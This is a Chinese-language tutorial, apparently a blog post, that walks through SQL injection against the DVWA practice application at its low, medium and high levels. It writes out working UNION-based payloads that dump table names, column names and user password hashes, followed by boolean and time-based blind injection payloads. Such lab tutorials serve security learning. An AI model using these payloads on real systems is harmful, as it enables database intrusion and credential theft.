sql注入是指通过分析代码,输入字符达到查找数据库中用户信息的一种行为,会导致用户账户的暴露
接下来我们先来分析一下源代码
SELECT first_name, last_name FROM users WHERE user_id = '$id'
其中重点则是上面的这段代码,这是对于数据库的一段查找代码
当我们为$id这个变量赋值时便会带入这段代码对数据库进行查询
我们需要输入1‘和1’#来判断是字符型输入还是数字型输入,1‘出现错误而1’#正常的便是字符型输入
下面我们来获取表
1' union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database() #
![](https://img-blog.csdnimg.cn/464222901adc4970ad62a23f319ee7c8.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAenlmLTE2,size_20,color_FFFFFF,t_70,g_se,x_16)
我们可以看到guestbook和users两个表
1' union select 1,column_name from information_schema.columns where
table_name='users' and table_schema=database() #
我们就有了接下来的查找的目标即table_name后面添加users
![](https://img-blog.csdnimg.cn/ddd68c43184f47e7a972fca756ec5a95.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAenlmLTE2,size_20,color_FFFFFF,t_70,g_se,x_16)
我们便有了这个表里的列,我们可以通过我们的常识知道一个用户的用户名和密码是表中的关键信息即user和password,输入
1' union select user,password from users #
![](https://img-blog.csdnimg.cn/6e4de84eaae940a28db3196ce22d5c0d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAenlmLTE2,size_20,color_FFFFFF,t_70,g_se,x_16)
即得到用户名和密码
其密码通过的md5的加密,通过解密即可
接下来我们说一下medium级别
先从表面看到他限制了我们的输入,只允许我们选择填写,并且源代码中,他运用了mysqli_real_escape_string
这个函数对我们的输入进行了过滤
这里我们可以使用burp工具将其抓包,修改包中的id再重新发送即可
接下来我们说一下high级别
它在查找代码的最后加了一个limit 1
即当我们查找的一个结果之后就限制我们继续向下查找
我们这里注入运用#号将其注释掉即可
接下来我们讲一下盲注
盲注只会显示是否存在还是不存在
第一种方法就是布尔盲注
根据这张表来进行猜测
整体来说去猜信息
1' and ascii(substr(database(),2,1))>97
dvwa
substr(
查询字符串
,
开始位置
,
长度
)
表的数量
1' and (select count(table_name) from information_schema.tables where
table_schema=database())=0 #
猜表的长度
1' and length(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1))=1 #
猜第二个表的长度
1' and length(substr((select table_name from information_schema.tables where
table_schema=database() limit 1,1),1))=9 #
limit
第几条数据从
0
开始,查询个数
猜完长度猜表名了
1' and ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=99 #
得到表名后开始猜列个数
1' and (select count(column_name) from information_schema.columns where
table_schema=database() and table_name='users')=8 #
个数猜完猜长度
1' and length(substr((select column_name from information_schema.columns where
table_name= 'users' limit 0,1),1))=7 #
猜字符
1' and ascii(substr((select column_name from information_schema.columns where
table_name='users' and table_schema=database() limit 0,1),1))=117#
..........
最后一直猜出列下的信息
后面数字就是对应图片中的字母
第二种方法是时间盲注
即根据网页加载时间判断是否正确,加载时间长就是正确加载时间短就是错误
1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=99,sleep(5),1) #
还有的就是报错注入
通过故意报错,从报错内容中得到我们想要的信息
还有一种是运用sqlmap进行猜解
sqlmap是一种工具,需要在python环境下安装运行,本人没有学过python就不再细说
盲注与有回显的sql注入在各个级别上设置的难关都是一样的,解法也是一样的,就不再细说